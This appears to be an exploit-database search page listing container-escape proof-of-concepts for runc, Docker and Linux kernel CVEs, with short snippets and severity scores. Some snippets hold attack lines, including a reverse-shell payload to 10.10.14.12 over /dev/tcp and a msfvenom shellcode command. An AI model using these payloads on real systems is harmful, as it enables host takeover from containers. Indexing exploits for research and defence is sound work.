Lucene search
+L

1278 matches found

Kitploit
Kitploit
added 2026/09/13 4:35 a.m.6 views

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run:...

9.3CVSS7AI score0.98452EPSS
SaveExploits35
Kitploit
Kitploit
added 2026/09/13 3:42 a.m.9 views

docker_lightman_exploit

Docker Lightman Exploit Docker CVE-2022-37708. This exploit relies on how the UNIX filesystem has UID and GID on files that Docker shares between the Host running the Docker and the Client being run within the Docker as well as relies on the nature of how Process ID ownership works. The Problem i...

7AI score
SaveExploits1References1
Kitploit
Kitploit
added 2026/09/13 2:47 a.m.6 views

cve_2019-5736-PoC

CVE-2019-5736 PoC This repository contains a C-based proof-of-concept exploit for CVE-2019-5736. This vulnerability allows a malicious Docker container to overwrite the host's runc binary and execute arbitrary commands on the host with root privileges – fully compromising the host system. Inspire...

9.3CVSS7.1AI score0.98452EPSS
SaveExploits35References1
Kitploit
Kitploit
added 2026/09/13 1:57 a.m.6 views

vesta

Un kit de herramientas de detección de análisis estático de vulnerabilidades y configuración de clústeres Docker y Kubernetes, basado en la penetración real en la nube. Inglés · 简体中文 Resumen Vesta es un kit de herramientas de detección de análisis estático de vulnerabilidades y configuración de...

5.9AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/13 1:56 a.m.5 views

CVE-2022-0847-Container-Escape

CVE-2022-0847 CVE-2022-0847 utilizado para lograr escape de contenedor sobrescribir cualquier archivo de solo lectura en el host Diapositivas en chino disponibles aquí 利用CVE-2022-0847 Dirty Pipe 实现容器逃逸(效果为覆写宿主机上任意只读文件) 中文汇报PPT在这里 Introducción Si el kernel es vulnerable a CVE-2022-0847, un atacant...

7.8CVSS7.1AI score0.89721EPSS
SaveExploits102References1
Kitploit
Kitploit
added 2026/09/13 1:54 a.m.6 views

cve-2019-5736-poc

To run: 1. edit poc command in stage2.c 2. build docker docker build -t cve . 3. run docker docker run -d cve /bin/bash -c "tail -f /dev/null" 4. backup docker-runc cp /usr/bin/docker-runc /usr/bin/docker-runc.bak 5. docker exec -it docker-id /bin/bash 6. in docker run cd /root && ./run.sh && exi...

9.3CVSS7AI score0.98452EPSS
SaveExploits35
Kitploit
Kitploit
added 2026/09/13 1:27 a.m.6 views

cve-2025-23266-migration-bypass

cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass two method given to get flag's content: 1. copy it from host into container's mounted dir; 2. use reverse shell to get it;...

9CVSS8.4AI score0.03111EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/12 11:25 p.m.7 views

CVE-2024-21626

CVE-2024-21626 POC Requisitos runc 1.1.0 = 1.1.11 Instalación del entorno vulnerable Despliega una VM con Ubuntu 20.04 y descarga Docker siguiendo su guía root@kitploit: https://docs.docker.com/engine/install/ubuntu/ Cambia la versión 'runc' parcheada en Docker a una vulnerable Descarga una versi...

8.6CVSS7AI score0.18087EPSS
SaveExploits18References1
Kitploit
Kitploit
added 2026/09/12 11:12 p.m.8 views

CVE-2022-0492

CVE-2022-0492 Análisis de escape de contenedor toc Resumen de la vulnerabilidad Identificador de vulnerabilidad: CVE-2022-0492 Producto vulnerable: linux kernel - cgroup Versiones afectadas: linux kernel 5.17-rc3 Impacto: Cuando el contenedor no tiene medidas de seguridad adicionales, obtener...

7.8CVSS7AI score0.05528EPSS
SaveExploits12References1
Kitploit
Kitploit
added 2026/09/12 10:36 p.m.5 views

CVE-2024-21626-POC

CVE-2024-21626-PoC Usage Instructions For educational/research purposes only. Any use unrelated to education/research is at your own risk. Usage root@kitploit: docker build . -t cve-2024-21626 docker run -it --rm cve-2024-21626 bash /poc.sh 另起一个terminal /bin/bash.copy Note The specific file...

8.6CVSS7.1AI score0.18087EPSS
SaveExploits18References2
Kitploit
Kitploit
added 2026/09/12 9:33 p.m.4 views

docker_escape_pwn

Escape from Docker using CVE-2017-1000112 and CVE-2017-18344. Including: gaining root privilage get all capbilities namespace recovery filesystem recovery cgroup limitation bypass seccomp bypass...

7CVSS6.5AI score0.20797EPSS
SaveExploits25
Kitploit
Kitploit
added 2026/09/12 8:19 p.m.8 views

Docker-breakout-runc

Escape de Docker mediante runc Originalmente de : https://github.com/Frichetten/CVE-2019-5736-PoC. Este repositorio es simplemente yo jugando con el PoC e intentando entender el flujo del exploit...

9.3CVSS7AI score0.98452EPSS
SaveExploits35References1
Kitploit
Kitploit
added 2026/09/12 4:20 p.m.3 views

CVE-2019-5736-PoC

Usage PoC was created to the scenario were victim is executing for example docker exec sh. Before running exploit it's required to overwrite sh binary in the container file system: root@kitploit: printf '!/proc/self/exe' /bin/sh After that, when victim executes exec command, runc binary in the ho...

9.3CVSS7.1AI score0.98452EPSS
SaveExploits35
Kitploit
Kitploit
added 2026/09/12 4:16 p.m.5 views

CVE-2025-9074-Poc

Docker API Unauthenticated RCE CVE-2025-9074 A critical CVE-2025-9074 vulnerability in Docker Desktop enables locally running Linux containers to connect to the Docker Engine API through the default subnet 192.168.65.7:2375. The issue persists regardless of Enhanced Container Isolation ECI or TCP...

9.3CVSS8.1AI score0.01629EPSS
SaveExploits15
Kitploit
Kitploit
added 2026/09/12 2:44 p.m.5 views

subpath-exploit

Ejemplo de Escape de Kubernetes mediante CVE-2017-1002101 Descripción Después de conocer el problema y seguir esta guía, quise explorar un poco más. Este repositorio contiene un par de despliegues de pods y scripts auxiliares de shell que demuestran el mecanismo de ataque de la manera más simple...

9.6CVSS7.8AI score0.13267EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/12 12:46 p.m.10 views

ipv6_frag_escape

IPV6FRAGESCAPE Надёжная proof-of-concept для непривилегированного побега из контейнера / изоляционной среды для CentOS / RHEL 10. Использует уже исправленную ошибку фрагментации IPv6 в ip6appenddata исправлена в основной ветке коммитом 38becddc, CVE не присвоен — внутрислэбовое линейное...

6.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/12 10:47 a.m.4 views

POC-CVE-2019-5736

RunC-CVE-2019-5736 Video : https://bit.ly/2WqvILb Blog Post : www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html Here, I like to mention that the original developer of this exploit is Yuval Avrahami at Twistlock Labs. Running the POCs Note that running the POCs will overwrite...

9.3CVSS6.9AI score0.98452EPSS
SaveExploits35
Kitploit
Kitploit
added 2026/09/12 9:29 a.m.4 views

can-ctr-escape-cve-2022-0492

A container image that tests whether a container enviroment is vulnerable to escapes via CVE-2022-0492. Best to execute under a new container running an image built with: root@kitploit: $ cd can-ctr-escape-cve-2022-0492 $ docker build -t can-ctr-escape-cve-2022-0492:latest . A pre-built image is...

7.8CVSS7AI score0.05528EPSS
SaveExploits12
Kitploit
Kitploit
added 2026/09/12 3:03 a.m.6 views

CVE-2022-0847-container-escape

CVE-2022-0847 Un exploit simple que utiliza dirtypipe para inyectar shellcode en el punto de entrada de runC para implementar escapes de contenedores. Uso Produce shellcode codificado en base64 usando msf: root@kitploit: $ msfvenom -p linux/x64/exec CMD="" -f base64 Compila y ejecuta en el...

7.8CVSS7.2AI score0.89721EPSS
SaveExploits102
Kitploit
Kitploit
added 2026/09/12 2:57 a.m.5 views

dirtycow-vdso

0xdeadbeef PoC para Dirty COW CVE-2016-5195. Este PoC se basa en ptrace en lugar de /proc/self/mem para parchear vDSO. Tiene algunas ventajas sobre los PoCs que modifican binarios del sistema de archivos: no requiere un binario setuid bypass de SELinux escape de contenedores sin caída del kernel...

7.2CVSS7.2AI score0.83524EPSS
SaveExploits91References1
Rows per page
Query Builder